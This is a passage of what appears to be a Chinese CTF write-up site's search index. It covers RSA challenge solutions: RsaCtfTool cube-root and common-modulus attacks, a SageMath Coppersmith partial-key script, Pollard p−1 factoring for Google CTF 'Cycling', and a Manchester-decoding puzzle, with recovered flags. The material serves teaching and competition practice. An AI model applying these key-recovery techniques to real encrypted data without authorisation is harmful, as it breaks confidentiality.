0x6e2773206265696e672c0a54686f752c2066726f6d2077686f736520756e7365656e2070726573656e636520746865206c656176657320646561640a4172652064726976656e2c206c696b652067686f7374732066726f6d20616e20656e6368616e74657220666c6565696e672c0a59656c6c6f772c2061 INT ( big endian ) : 4193305853284549103821195807609492624095031428085219879448342104337322945001387680236011960472296815293233144303730273979905837762067652913308898433728800864776794638198055607422503065410595894676740531680367227696622352026247676452540064020322619036125381146346603655445487695574824919137 INT ( little endian ) : 3697344670341776042819034986158075076536873171472590072336800110388597776652983023588023111158079096754137966151154403318011693149935108642418525130993932032045777394368194102308289062036168961367389701205240426686201519457468290650177310915303466740807866707603445131602629565993519884142 STR : b \"n's being,\\nThou, from whose unseen presence the leaves dead\\nAre driven, like ghosts from an enchanter fleeing,\\nYellow, a\" [ * ] Testing key /tmp/tmpdgzqh3f2. [ * ] Testing key /tmp/tmp9fa7r378. \u5df2\u77e5 P \u7684\u9ad8\u4f4d\u653b\u51fb\uff08Coppersmith \u653b\u51fb\uff09 \u00b6 \u7b2c\u4e09\u90e8\u5206\u5df2\u77e5 P \u7684\u9ad8\u4f4d\uff0c\u4e3a\u79c1\u94a5\u7684\u4e00\u90e8\u5206\uff0c\u800c\u5de5\u5177 Ganapati/RsaCtfTool \u4e3b\u8981\u4e13\u6ce8\u4e8e\u516c\u94a5\u653b\u51fb\uff0c\u5c1a\u672a\u5b9e\u73b0\u653b\u51fb partial_q \u4f7f\u7528 SageMath # sage n = 113432930155033263769270712825121761080813952100666693606866355917116416984149165507231925180593860836255402950358327422447359200689537217528547623691586008952619063846801829802637448874451228957635707553980210685985215887107300416969549087293746310593988908287181025770739538992559714587375763131132963783147 c = 59213696442373765895948702611659756779813897653022080905635545636905434038306468935283962686059037461940227618715695875589055593696352594630107082714757036815875497138523738695066811985036315624927897081153190329636864005133757096991035607918106529151451834369442313673849563635248465014289409374291381429646 p = 7117286695925472918001071846973900342640107770214858928188419765628151478620236042882657992902 e = 65537 pbits = 512 # p \u7684\u539f\u59cb\u957f\u5ea6 kbits = pbits - p . nbits () p = p << kbits print ( \"upper %d bits (of %d bits) is given\" % ( pbits - kbits , pbits )) PR .< x > = PolynomialRing ( Zmod ( n )) f = x + p x0 = f . small_roots ( X = 2 ^ kbits , beta = 0.4 )[ 0 ] # \u591a\u9879\u5f0f\u5c0f\u503c\u6839\u6c42\u89e3\u53ca\u56e0\u5b50\u5206\u89e3 p = p + int ( x0 ) fn = ( p - 1 ) * ( n / p - 1 ) text = pow ( c , inverse_mod ( e , fn ), n ) hex_str = hex ( text ) print ( hex_str ) print ( bytes . fromhex ( hex_str [ 2 :])) \u83b7\u5f97\u8f93\u51fa upper 312 bits ( of 512 bits ) is given 0x6e6420626c61636b2c20616e642070616c652c20616e6420686563746963207265642c0a50657374696c656e63652d73747269636b656e206d756c746974756465733a204f2074686f752c0a57686f2063686172696f7465737420746f207468656972206461726b2077696e747279206265640a b 'nd black, and pale, and hectic red,\\nPestilence-stricken multitudes: O thou,\\nWho chariotest to their dark wintry bed\\n' \u62fc\u63a5\u5404\u90e8\u5206\u7ed3\u679c\u518d MD5 \u5373\u53ef\u83b7\u5f97 Flag \u53c2\u8003\u8d44\u6599 \u00b6 Dense univariate polynomials over Z/nZ , implemented using NTL","title":"CISCN - rsa"},{"location":"crypto/ciscn_rsa/#_1","text":"\u9898\u76ee\u63d0\u4f9b\u4e86 RSA \u52a0\u5bc6\u90e8\u5206\u4ee3\u7801\u4ee5\u53ca\u8f93\u51fa\uff0c\u660e\u6587\u88ab\u62c6\u6210\u4e86\u4e09\u90e8\u5206\u8fdb\u884c\u52a0\u5bc6 from flag import text , flag import md5 from Crypto.Util.number import long_to_bytes , bytes_to_long , getPrime assert md5 . new ( text ) . hexdigest () == flag [ 6 : - 1 ] msg1 = text [: xx ] msg2 = text [ xx : yy ] msg3 = text [ yy :] msg1 = bytes_to_long ( msg1 ) msg2 = bytes_to_long ( msg2 ) msg3 = bytes_to_long ( msg3 ) p1 = getPrime ( 512 ) q1 = getPrime ( 512 ) N1 = p1 * q1 e1 = 3 print pow ( msg1 , e1 , N1 ) print ( e1 , N1 ) p2 = getPrime ( 512 ) q2 = getPrime ( 512 ) N2 = p2 * q2 e2 = 17 e3 = 65537 print pow ( msg2 , e2 , N2 ) print pow ( msg2 , e3 , N2 ) print ( e2 , N2 ) print ( e3 , N2 ) p3 = getPrime ( 512 ) q3 = getPrime ( 512 ) N3 = p3 * q3 print pow ( msg3 , e3 , N3 ) print ( e3 , N3 ) print p3 >> 200","title":"\u89e3\u9898\u601d\u8def"},{"location":"crypto/ciscn_rsa/#_2","text":"\u7b2c\u4e00\u90e8\u5206\u52a0\u5bc6\uff0c \\(e1\\) \u53ea\u6709 \\(3\\) \uff0c\u5c5e\u4e8e\u4f4e\u52a0\u5bc6\u6307\u6570\u653b\u51fb \u76f4\u63a5\u4f7f\u7528\u5de5\u5177 Ganapati/RsaCtfTool Cube-Root \u653b\u51fb $ ./RsaCtfTool.py -e 3 -n 123814470394550598363280518848914546938137731026777975885846733672494493975703069760053867471836249473290828799962586855892685902902050630018312939010564945676699712246249820341712155938398068732866646422826619477180434858148938235662092482058999079105450136181685141895955574548671667320167741641072330259009 --uncipher 19105765285510667553313898813498220212421177527647187802549913914263968945493144633390670605116251064550364704789358830072133349108808799075021540479815182657667763617178044110939458834654922540704196330451979349353031578518479199454480458137984734402248011464467312753683234543319955893 --attack cube_root private argument is not set, the private key will not be displayed, even if recovered. [ * ] Testing key /tmp/tmp_l5kh68w. [ * ] Performing cube_root attack on /tmp/tmp_l5kh68w. Results for /tmp/tmp_l5kh68w: Unciphered data : HEX : 0x200a4f2077696c6420576573742057696e642c2074686f7520627265617468206f6620417574756d INT ( big endian ) : 267334379257781603687613466720913534310764480084016847281446486946801530200295563483353634338157 INT ( little endian ) : 913291388310064586979227686933669644206016064403638123402129058189456441650304517698024417200672 STR : b ' \\nO wild West Wind, thou breath of Autum'","title":"\u4f4e\u52a0\u5bc6\u6307\u6570\u653b\u51fb"},{"location":"crypto/ciscn_rsa/#_3","text":"\u7b2c\u4e8c\u90e8\u5206\u4f7f\u7528\u4e86\u76f8\u540c\u7684\u6a21\u6570 \\(n\\) \uff0c\u4e0d\u540c\u7684 \\(e\\) \u5bf9\u540c\u4e00\u6bb5\u6587\u672c\u8fdb\u884c\u52a0\u5bc6 \u4f7f\u7528\u5de5\u5177 Ganapati/RsaCtfTool \u7684\u5171\u6a21\u653b\u51fb\uff08same_n_huge_e\uff09\uff0c e \u4e0e\u5bc6\u6587\u5728\u987a\u5e8f\u4e0a\u9700\u8981\u5bf9\u5e94 $ ./RsaCtfTool.py -e 17 ,65537 -n 111381961169589927896512557754289420474877632607334685306667977794938824018345795836303161492076539375959731633270626091498843936401996648820451019811592594528673182109109991384472979198906744569181673282663323892346854520052840694924830064546269187849702880332522636682366270177489467478933966884097824069977 --uncipher 54995751387258798791895413216172284653407054079765769704170763023830130981480272943338445245689293729308200574217959018462512790523622252479258419498858307898118907076773470253533344877959508766285730509067829684427375759345623701605997067135659404296663877453758701010726561824951602615501078818914410959610 ,91290935267458356541959327381220067466104890455391103989639822855753797805354139741959957951983943146108552762756444475545250343766798220348240377590112854890482375744876016191773471853704014735936608436210153669829454288199838827646402742554134017280213707222338496271289894681312606239512924842845268366950 --attack same_n_huge_e private argument is not set, the private key will not be displayed, even if recovered. [ * ] Multikey mode using keys: /tmp/tmpdgzqh3f2, /tmp/tmp9fa7r378 [ * ] Performing same_n_huge_e attack. Results for /tmp/tmpdgzqh3f2,/tmp/tmp9fa7r378: Unciphered data : HEX : 0x6e2773206265696e672c0a54686f752c2066726f6d2077686f736520756e7365656e2070726573656e636520746865206c656176657320646561640a4172652064726976656e2c206c696b652067686f7374732066726f6d20616e20656e6368616e74657220666c6565696e672c0a59656c6c6f772c2061 INT ( big endian ) : 4193305853284549103821195807609492624095031428085219879448342104337322945001387680236011960472296815293233144303730273979905837762067652913308898433728800864776794638198055607422503065410595894676740531680367227696622352026247676452540064020322619036125381146346603655445487695574824919137 INT ( little endian ) : 3697344670341776042819034986158075076536873171472590072336800110388597776652983023588023111158079096754137966151154403318011693149935108642418525130993932032045777394368194102308289062036168961367389701205240426686201519457468290650177310915303466740807866707603445131602629565993519884142 STR : b \"n's being,\\nThou, from whose unseen presence the leaves dead\\nAre driven, like ghosts from an enchanter fleeing,\\nYellow, a\" [ * ] Testing key /tmp/tmpdgzqh3f2. [ * ] Testing key /tmp/tmp9fa7r378.","title":"\u5171\u6a21\u653b\u51fb"},{"location":"crypto/ciscn_rsa/#p-coppersmith","text":"\u7b2c\u4e09\u90e8\u5206\u5df2\u77e5 P \u7684\u9ad8\u4f4d\uff0c\u4e3a\u79c1\u94a5\u7684\u4e00\u90e8\u5206\uff0c\u800c\u5de5\u5177 Ganapati/RsaCtfTool \u4e3b\u8981\u4e13\u6ce8\u4e8e\u516c\u94a5\u653b\u51fb\uff0c\u5c1a\u672a\u5b9e\u73b0\u653b\u51fb partial_q \u4f7f\u7528 SageMath # sage n = 113432930155033263769270712825121761080813952100666693606866355917116416984149165507231925180593860836255402950358327422447359200689537217528547623691586008952619063846801829802637448874451228957635707553980210685985215887107300416969549087293746310593988908287181025770739538992559714587375763131132963783147 c = 59213696442373765895948702611659756779813897653022080905635545636905434038306468935283962686059037461940227618715695875589055593696352594630107082714757036815875497138523738695066811985036315624927897081153190329636864005133757096991035607918106529151451834369442313673849563635248465014289409374291381429646 p = 7117286695925472918001071846973900342640107770214858928188419765628151478620236042882657992902 e = 65537 pbits = 512 # p \u7684\u539f\u59cb\u957f\u5ea6 kbits = pbits - p . nbits () p = p << kbits print ( \"upper %d bits (of %d bits) is given\" % ( pbits - kbits , pbits )) PR .< x > = PolynomialRing ( Zmod ( n )) f = x + p x0 = f . small_roots ( X = 2 ^ kbits , beta = 0.4 )[ 0 ] # \u591a\u9879\u5f0f\u5c0f\u503c\u6839\u6c42\u89e3\u53ca\u56e0\u5b50\u5206\u89e3 p = p + int ( x0 ) fn = ( p - 1 ) * ( n / p - 1 ) text = pow ( c , inverse_mod ( e , fn ), n ) hex_str = hex ( text ) print ( hex_str ) print ( bytes . fromhex ( hex_str [ 2 :])) \u83b7\u5f97\u8f93\u51fa upper 312 bits ( of 512 bits ) is given 0x6e6420626c61636b2c20616e642070616c652c20616e6420686563746963207265642c0a50657374696c656e63652d73747269636b656e206d756c746974756465733a204f2074686f752c0a57686f2063686172696f7465737420746f207468656972206461726b2077696e747279206265640a b 'nd black, and pale, and hectic red,\\nPestilence-stricken multitudes: O thou,\\nWho chariotest to their dark wintry bed\\n' \u62fc\u63a5\u5404\u90e8\u5206\u7ed3\u679c\u518d MD5 \u5373\u53ef\u83b7\u5f97 Flag","title":"\u5df2\u77e5 P \u7684\u9ad8\u4f4d\u653b\u51fb\uff08Coppersmith \u653b\u51fb\uff09"},{"location":"crypto/ciscn_rsa/#_4","text":"Dense univariate polynomials over Z/nZ , implemented using NTL","title":"\u53c2\u8003\u8d44\u6599"},{"location":"crypto/code_modulate/","text":"\u89e3\u9898\u601d\u8def \u00b6 \u7ed9\u4e86\u4e00\u4e32\u5bc6\u6587 2559659965656A9A65656996696965A6695669A9695A699569666A5A6A6569666A59695A69AA696569666AA6 \u548c\u4e00\u5f20\u63d0\u793a\u56fe\u7247 \u56fe\u7247\u91cc\u662f 01 \u4e32\uff0c\u4e0d\u7ba1\u600e\u4e48\u8bf4\u5148\u628a\u5bc6\u6587\u6309\u5341\u516d\u8fdb\u5236\u8f6c\u6362\u6210\u4e8c\u8fdb\u5236\u5b57\u7b26\u4e32\u5427\uff01 0010010101011001011001011001100101100101011001010110101010011010011001010110010101101001100101100110100101101001011001011010011001101001010101100110100110101001011010010101101001101001100101010110100101100110011010100101101001101010011001010110100101100110011010100101100101101001010110100110100110101010011010010110010101101001011001100110101010100110 \u63a5\u7740\uff0c\u662f\u56fe\u7247\u91cc\u6700\u660e\u663e\u7684 Manchester \u7f16\u7801\u7684\u89e3\u7801\u3002\u6709\u70b9\u5947\u602a\uff0c\u6709\u4e00\u4f4d\u6ca1\u89e3\u51fa\u6765\uff1f(\u03a6\u02cb\u03c9\u02ca\u03a6)\u95ee\u9898\u4e0d\u5927\uff0c\u53cd\u6b63\u53ea\u6709\u4e24\u79cd\u60c5\u51b5\uff0c\u8981\u4e48\u662f 0\uff0c\u8981\u4e48\u662f 1 ?1000010010010100100010001111011010001000110100101100110010011010110000101101110011000110110100001100101011100110111010001100101011100100110001101101111011001000110010101111101 \u5f53\u7b2c\u4e00\u4f4d\u586b 0 \u65f6\uff0c\u8f6c\u6362\u6210\u5341\u516d\u8fdb\u5236\u518d\u5bf9\u5e94\u5230 ASCII \u7801\u53ef\u5f97 Flag\uff1a BJD{DifManchestercode}","title":"\u7f16\u7801\u4e0e\u8c03\u5236"},{"location":"crypto/code_modulate/#_1","text":"\u7ed9\u4e86\u4e00\u4e32\u5bc6\u6587 2559659965656A9A65656996696965A6695669A9695A699569666A5A6A6569666A59695A69AA696569666AA6 \u548c\u4e00\u5f20\u63d0\u793a\u56fe\u7247 \u56fe\u7247\u91cc\u662f 01 \u4e32\uff0c\u4e0d\u7ba1\u600e\u4e48\u8bf4\u5148\u628a\u5bc6\u6587\u6309\u5341\u516d\u8fdb\u5236\u8f6c\u6362\u6210\u4e8c\u8fdb\u5236\u5b57\u7b26\u4e32\u5427\uff01 0010010101011001011001011001100101100101011001010110101010011010011001010110010101101001100101100110100101101001011001011010011001101001010101100110100110101001011010010101101001101001100101010110100101100110011010100101101001101010011001010110100101100110011010100101100101101001010110100110100110101010011010010110010101101001011001100110101010100110 \u63a5\u7740\uff0c\u662f\u56fe\u7247\u91cc\u6700\u660e\u663e\u7684 Manchester \u7f16\u7801\u7684\u89e3\u7801\u3002\u6709\u70b9\u5947\u602a\uff0c\u6709\u4e00\u4f4d\u6ca1\u89e3\u51fa\u6765\uff1f(\u03a6\u02cb\u03c9\u02ca\u03a6)\u95ee\u9898\u4e0d\u5927\uff0c\u53cd\u6b63\u53ea\u6709\u4e24\u79cd\u60c5\u51b5\uff0c\u8981\u4e48\u662f 0\uff0c\u8981\u4e48\u662f 1 ?1000010010010100100010001111011010001000110100101100110010011010110000101101110011000110110100001100101011100110111010001100101011100100110001101101111011001000110010101111101 \u5f53\u7b2c\u4e00\u4f4d\u586b 0 \u65f6\uff0c\u8f6c\u6362\u6210\u5341\u516d\u8fdb\u5236\u518d\u5bf9\u5e94\u5230 ASCII \u7801\u53ef\u5f97 Flag\uff1a BJD{DifManchestercode}","title":"\u89e3\u9898\u601d\u8def"},{"location":"crypto/cycling/","tags":["rsa","carmichael function","pollard's p\u22121 algorithm"],"text":"#rsa #carmichael function #pollard's p\u22121 algorithm .md-typeset .blogging-tags-grid { display: flex; flex-direction: row; flex-wrap: wrap; gap: 8px; margin-top: 5px; } .md-typeset .blogging-tag { color: var(--md-typeset-color); background-color: var(--md-typeset-code-color); white-space: nowrap; display: block; } .md-typeset .blogging-tag code { border-radius: 5px; } \u9898\u76ee \u00b6 It is well known that any RSA encryption can be undone by just encrypting the ciphertext over and over again. If the RSA modulus has been chosen badly then the number of encryptions necessary to undo an encryption is small. However, if the modulus is well chosen then a cycle attack can take much longer. This property can be used for a timed release of a message. We have confirmed that it takes a whopping 2^1025-3 encryptions to decrypt the flag. Pack out your quantum computer and perform 2^1025-3 encryptions to solve this challenge. Good luck doing this in 48h. chall.py #!/usr/bin/python3 # Copyright 2022 Google LLC \"\"\" It is well known that any RSA encryption can be undone by just encrypting the ciphertext over and over again. If the RSA modulus has been chosen badly then the number of encryptions necessary to undo an encryption is small. If n = 0x112b00148621 then only 209 encryptions are necessary as the following example demonstrates: >>> e = 65537 >>> n = 0x112b00148621 >>> pt = 0xdeadbeef >>> # Encryption >>> ct = pow(pt, e, n) >>> # Decryption via cycling: >>> pt = ct >>> for _ in range(209): >>> pt = pow(pt, e, n) >>> # Assert decryption worked: >>> assert ct == pow(pt, e, n) However, if the modulus is well chosen then a cycle attack can take much longer. This property can be used for a timed release of a message. We have confirmed that it takes a whopping 2^1025-3 encryptions to decrypt the flag. Pack out your quantum computer and perform 2^1025-3 encryptions to solve this challenge. Good luck doing this in 48h. \"\"\" e = 65537 n = 0x99efa9177387907eb3f74dc09a4d7a93abf6ceb7ee102c689ecd0998975cede29f3ca951feb5adfb9282879cc666e22dcafc07d7f89d762b9ad5532042c79060cdb022703d790421a7f6a76a50cceb635ad1b5d78510adf8c6ff9645a1b179e965358e10fe3dd5f82744773360270b6fa62d972d196a810e152f1285e0b8b26f5d54991d0539a13e655d752bd71963f822affc7a03e946cea2c4ef65bf94706f20b79d672e64e8faac45172c4130bfeca9bef71ed8c0c9e2aa0a1d6d47239960f90ef25b337255bac9c452cb019a44115b0437726a9adef10a028f1e1263c97c14a1d7cd58a8994832e764ffbfcc05ec8ed3269bb0569278eea0550548b552b1 ct = 0x339be515121dab503106cd190897382149e032a76a1ca0eec74f2c8c74560b00dffc0ad65ee4df4f47b2c9810d93e8579517692268c821c6724946438a9744a2a95510d529f0e0195a2660abd057d3f6a59df3a1c9a116f76d53900e2a715dfe5525228e832c02fd07b8dac0d488cca269e0dbb74047cf7a5e64a06a443f7d580ee28c5d41d5ede3604825eba31985e96575df2bcc2fefd0c77f2033c04008be9746a0935338434c16d5a68d1338eabdcf0170ac19a27ec832bf0a353934570abd48b1fe31bc9a4bb99428d1fbab726b284aec27522efb9527ddce1106ba6a480c65f9332c5b2a3c727a2cca6d6951b09c7c28ed0474fdc6a945076524877680 # Decryption via cycling: pt = ct for _ in range ( 2 ** 1025 - 3 ): pt = pow ( pt , e , n ) # Assert decryption worked: assert ct == pow ( pt , e , n ) # Print flag: print ( pt . to_bytes (( pt . bit_length () + 7 ) // 8 , 'big' ) . decode ()) \u89e3\u9898\u601d\u8def \u00b6 \u5df2\u77e5\u76ee\u6807\u5bc6\u6587\u5fc5\u987b\u518d\u7ecf\u8fc7 \\(2^{1025}-3\\) \u6b21\u52a0\u5bc6\u540e\u624d\u80fd\u83b7\u5f97\u660e\u6587\u3002\u4ee4 \\(R=2^{1025}-2\\) \uff08\u6885\u68ee\u6570\u7684 \\(2\\) \u500d\uff09\uff0c\u90a3\u4e48\u6709 \\(x^{e^{R}}\\equiv x\\ (mod\\ n)\\) \u6b27\u62c9\u51fd\u6570 \\(\\varphi(n)\\) \u80fd\u591f\u6c42\u51fa\u6ee1\u8db3 \\(a^m\\equiv 1\\ (mod\\ n)\\) \uff08 \\(a\\) \u5c0f\u4e8e \\(n\\) \u4e14\u4e0e \\(n\\) \u4e92\u8d28\uff09 \u7684\u6b63\u6574\u6570\uff0c\u4f46\u4e0d\u4e00\u5b9a\u662f\u6700\u5c0f\u7684\uff0c\u5361\u8fc8\u514b\u5c14\u51fd\u6570 \\(\\lambda(n)\\) \u7684\u7ed3\u679c\u624d\u662f\u3002\u90a3\u4e48\u6709 \\(x^{\\lambda(n)}\\equiv 1\\ (mod\\ n),\\ x^{e^R}\\equiv x\\equiv (x^{\\lambda(n)})^k x\\ (mod\\ n)\\) \uff0c\u80fd\u591f\u63a8\u51fa \\(e^R\\equiv 1\\ mod\\ \\lambda(n)\\) \uff0c\u7531\u6b64\u53ef\u77e5 \\(\\lambda(\\lambda(n))|R\\) \u8bbe \\(\\lambda(n)=\\prod_{i=1}^k s_i^{r_i}\\) \uff0c\u90a3\u4e48 \\(\\lambda(\\lambda(n))=lcm(\\lambda(s_1^{r_1}),\\lambda(s_2^{r_2}),\\dotsb,\\lambda(s_k^{r_k}))=\\) \\(lcm(s_1^{r_1-1}(s_1-1),s_2^{r_2-1}(s_2-1),\\dotsb,s_k^{r_k-1}(s_k-1))\\) \uff0c\u6839\u636e \\(R\\) \u7684\u8d28\u56e0\u6570\u5206\u89e3\u7ed3\u679c\u63a8\u6d4b\u6240\u6709\u8d28\u56e0\u6570\u6307\u6570\u4e0d\u5927\u4e8e \\(1\\) \uff0c\u5219 \\(\\lambda(\\lambda(n))=lcm(s_1-1,s_2-1,\\dotsb,s_k-1)\\) \u6839\u636e Pollard \u7684 \\(p-1\\) \u8d28\u56e0\u6570\u5206\u89e3\u7b97\u6cd5\uff0c\u53ef\u4ee5\u9009\u62e9\u4e0e \\(n\\) \u4e92\u8d28\u7684\u4efb\u610f\u6574\u6570 \\(a\\) \uff0c\u8ba1\u7b97 \\(g=gcd((a^{M}-1\\ mod\\ n), n)\\) \u6765\u5206\u89e3 \\(n\\) \\(p\\) \u662f \\(n\\) \u7684\u4e00\u4e2a\u8d28\u56e0\u6570\uff0c\u82e5 \\(p-1\\) \u7684\u6bcf\u4e00\u4e2a\u56e0\u6570 \\(s\\) \u90fd\u6ee1\u8db3 \\(s\\le B\\) \uff08 \\(B\\) \u4eba\u4e3a\u9009\u5b9a\uff09\uff0c\u663e\u7136\u6709 \\((p-1)|B!\\) \uff0c \\(M\\) \u5b9a\u4e49\u4e3a \\(\\prod_{primes\\ s\\le B}s^{\\lfloor log_s B\\rfloor}\\) \uff0c\u82e5 \\(g=1\\) \u6216 \\(g=n\\) \u5219\u91cd\u65b0\u9009\u62e9 \\(B\\) \u8fdb\u884c\u8ba1\u7b97 \u6839\u636e\u8d39\u9a6c\u5c0f\u5b9a\u7406\u6709 \\(a^{k(p-1)}\\equiv 1\\ (mod\\ p)\\) \u82e5\u4e00\u4e2a\u6570 \\(x\\) \u6a21 \\(p\\) \u4f59 \\(1\\) \uff0c\u90a3\u4e48 \\(p|gcd(x-1,n)\\) \\(\\lambda(\\lambda(n))=\\lambda(lcm(p-1,q-1))=\\lambda(s_1s_2\\dotsb s_k)=lcm(s_1-1,s_2-1,\\dotsb,s_k-1)\\) \uff0c\u663e\u7136\uff0c \\((s_i-1)|R\\) \uff0c\u90a3\u4e48\u53ef\u7531 \\(R\\) \u8d28\u56e0\u6570\u5206\u89e3\u7ed3\u679c\u5f97\u51fa \\(s_i\\) \u7684\u5019\u9009\u96c6\uff0c\u5373 \\(p-1\\) \u548c \\(q-1\\) \u7684\u8d28\u56e0\u6570\u5019\u9009\u96c6\uff0c\u7ed3\u5408 Pollard \u7684 \\(p-1\\) \u8d28\u56e0\u6570\u5206\u89e3\u7b97\u6cd5\u8fdb\u884c\u6c42\u89e3 from factordb.factordb import FactorDB from sympy import isprime from math import gcd from Crypto.Util.number import long_to_bytes def factor_n ( primes ): m = 2 for p in primes : m = pow ( m , p , n ) g = gcd ( m - 1 , n ) if 1 < g < n : return g , n // g e = 65537 n = 0x99efa9177387907eb3f74dc09a4d7a93abf6ceb7ee102c689ecd0998975cede29f3ca951feb5adfb9282879cc666e22dcafc07d7f89d762b9ad5532042c79060cdb022703d790421a7f6a76a50cceb635ad1b5d78510adf8c6ff9645a1b179e965358e10fe3dd5f82744773360270b6fa62d972d196a810e152f1285e0b8b26f5d54991d0539a13e655d752bd71963f822affc7a03e946cea2c4ef65bf94706f20b79d672e64e8faac45172c4130bfeca9bef71ed8c0c9e2aa0a1d6d47239960f90ef25b337255bac9c452cb019a44115b0437726a9adef10a028f1e1263c97c14a1d7cd58a8994832e764ffbfcc05ec8ed3269bb0569278eea0550548b552b1 ct = 0x339be515121dab503106cd190897382149e032a76a1ca0eec74f2c8c74560b00dffc0ad65ee4df4f47b2c9810d93e8579517692268c821c6724946438a9744a2a95510d529f0e0195a2660abd057d3f6a59df3a1c9a116f76d53900e2a715dfe5525228e832c02fd07b8dac0d488cca269e0dbb74047cf7a5e64a06a443f7d580ee28c5d41d5ede3604825eba31985e96575df2bcc2fefd0c77f2033c04008be9746a0935338434c16d5a68d1338eabdcf0170ac19a27ec832bf0a353934570abd48b1fe31bc9a4bb99428d1fbab726b284aec27522efb9527ddce1106ba6a480c65f9332c5b2a3c727a2cca6d6951b09c7c28ed0474fdc6a945076524877680 R = 2 * ( 2 ** 1024 - 1 ) f = FactorDB ( R ) f . connect () factors = f . get_factor_list () prods = { 1 } for f in factors : prods |= { f * x for x in prods } primes = [ p + 1 for p in prods if isprime ( p + 1 )] p , q = factor_n ( primes ) d = pow ( e , - 1 , ( p - 1 ) * ( q - 1 )) m = pow ( ct , d , n ) print ( long_to_bytes ( m )) Flag \u00b6 CTF{Recycling_Is_Great} \u53c2\u8003\u8d44\u6599 \u00b6 Intended Solution Carmichael function - Wikipedia Pollard's p \u2212 1 algorithm - Wikipedia","title":"Cycling"},{"location":"crypto/cycling/#_1","text":"It is well known that any RSA encryption can be undone by just encrypting the ciphertext over and over again. If the RSA modulus has been chosen badly then the number of encryptions necessary to undo an encryption is small. However, if the modulus is well chosen then a cycle attack can take much longer. This property can be used for a timed release of a message. We have confirmed that it takes a whopping 2^1025-3 encryptions to decrypt the flag. Pack out your quantum computer and perform 2^1025-3 encryptions to solve this challenge. Good luck doing this in 48h. chall.py #!/usr/bin/python3 # Copyright 2022 Google LLC \"\"\" It is well known that any RSA encryption can be undone by just encrypting the ciphertext over and over again. If the RSA modulus has been chosen badly then the number of encryptions necessary to undo an encryption is small. If n = 0x112b00148621 then only 209 encryptions are necessary as the following example demonstrates: >>> e = 65537 >>> n = 0x112b00148621 >>> pt = 0xdeadbeef >>> # Encryption >>> ct = pow(pt, e, n) >>> # Decryption via cycling: >>> pt = ct >>> for _ in range(209): >>> pt = pow(pt, e, n) >>> # Assert decryption worked: >>> assert ct == pow(pt, e, n) However, if the modulus is well chosen then a cycle attack can take much longer. This property can be used for a timed release of a message. We have confirmed that it takes a whopping 2^1025-3 encryptions to decrypt the flag. Pack out your quantum computer and perform 2^1025-3 encryptions to solve this challenge. Good luck doing this in 48h. \"\"\" e = 65537 n = 0x99efa9177387907eb3f74dc09a4d7a93abf6ceb7ee102c689ecd0998975cede29f3ca951feb5adfb9282879cc666e22dcafc07d7f89d762b9ad5532042c79060cdb022703d790421a7f6a76a50cceb635ad1b5d78510adf8c6ff9645a1b179e965358e10fe3dd5f82744773360270b6fa62d972d196a810e152f1285e0b8b26f5d54991d0539a13e655d752bd71963f822affc7a03e946cea2c4ef65bf94706f20b79d672e64e8faac45172c4130bfeca9bef71ed8c0c9e2aa0a1d6d47239960f90ef25b337255bac9c452cb019a44115b0437726a9adef10a028f1e1263c97c14a1d7cd58a8994832e764ffbfcc05ec8ed3269bb0569278eea0550548b552b1 ct = 0x339be515121dab503106cd190897382149e032a76a1ca0eec74f2c8c74560b00dffc0ad65ee4df4f47b2c9810d93e8579517692268c821c6724946438a9744a2a95510d529f0e0195a2660abd057d3f6a59df3a1c9a116f76d53900e2a715dfe5525228e832c02fd07b8dac0d488cca269e0dbb74047cf7a5e64a06a443f7d580ee28c5d41d5ede3604825eba31985e96575df2bcc2fefd0c77f2033c04008be9746a0935338434c16d5a68d1338eabdcf0170ac19a27ec832bf0a353934570abd48b1fe31bc9a4bb99428d1fbab726b284aec27522efb9527ddce1106ba6a480c65f9332c5b2a3c727a2cca6d6951b09c7c28ed0474fdc6a945076524877680 # Decryption via cycling: pt = ct for _ in range ( 2 ** 1025 - 3 ): pt = pow ( pt , e , n ) # Assert decryption worked: assert ct == pow ( pt , e , n ) # Print flag: print ( pt . to_bytes (( pt . bit_length () + 7 ) // 8 , 'big' ) . decode ())","title":"\u9898\u76ee"},{"location":"crypto/cycling/#_2","text":"\u5df2\u77e5\u76ee\u6807\u5bc6\u6587\u5fc5\u987b\u518d\u7ecf\u8fc7 \\(2^{1025}-3\\) \u6b21\u52a0\u5bc6\u540e\u624d\u80fd\u83b7\u5f97\u660e\u6587\u3002\u4ee4 \\(R=2^{1025}-2\\) \uff08\u6885\u68ee\u6570\u7684 \\(2\\) \u500d\uff09\uff0c\u90a3\u4e48\u6709 \\(x^{e^{R}}\\equiv x\\ (mod\\ n)\\) \u6b27\u62c9\u51fd\u6570 \\(\\varphi(n)\\) \u80fd\u591f\u6c42\u51fa\u6ee1\u8db3 \\(a^m\\equiv 1\\ (mod\\ n)\\) \uff08 \\(a\\) \u5c0f\u4e8e \\(n\\) \u4e14\u4e0e \\(n\\) \u4e92\u8d28\uff09 \u7684\u6b63\u6574\u6570\uff0c\u4f46\u4e0d\u4e00\u5b9a\u662f\u6700\u5c0f\u7684\uff0c\u5361\u8fc8\u514b\u5c14\u51fd\u6570 \\(\\lambda(n)\\) \u7684\u7ed3\u679c\u624d\u662f\u3002\u90a3\u4e48\u6709 \\(x^{\\lambda(n)}\\equiv 1\\ (mod\\ n),\\ x^{e^R}\\equiv x\\equiv (x^{\\lambda(n)})^k x\\ (mod\\ n)\\) \uff0c\u80fd\u591f\u63a8\u51fa \\(e^R\\equiv 1\\ mod\\ \\lambda(n)\\) \uff0c\u7531\u6b64\u53ef\u77e5 \\(\\lambda(\\lambda(n))|R\\) \u8bbe \\(\\lambda(n)=\\prod_{i=1}^k s_i^{r_i}\\) \uff0c\u90a3\u4e48 \\(\\lambda(\\lambda(n))=lcm(\\lambda(s_1^{r_1}),\\lambda(s_2^{r_2}),\\dotsb,\\lambda(s_k^{r_k}))=\\) \\(lcm(s_1^{r_1-1}(s_1-1),s_2^{r_2-1}(s_2-1),\\dotsb,s_k^{r_k-1}(s_k-1))\\) \uff0c\u6839\u636e \\(R\\) \u7684\u8d28\u56e0\u6570\u5206\u89e3\u7ed3\u679c\u63a8\u6d4b\u6240\u6709\u8d28\u56e0\u6570\u6307\u6570\u4e0d\u5927\u4e8e \\(1\\) \uff0c\u5219 \\(\\lambda(\\lambda(n))=lcm(s_1-1,s_2-1,\\dotsb,s_k-1)\\) \u6839\u636e Pollard \u7684 \\(p-1\\) \u8d28\u56e0\u6570\u5206\u89e3\u7b97\u6cd5\uff0c\u53ef\u4ee5\u9009\u62e9\u4e0e \\(n\\) \u4e92\u8d28\u7684\u4efb\u610f\u6574\u6570 \\(a\\) 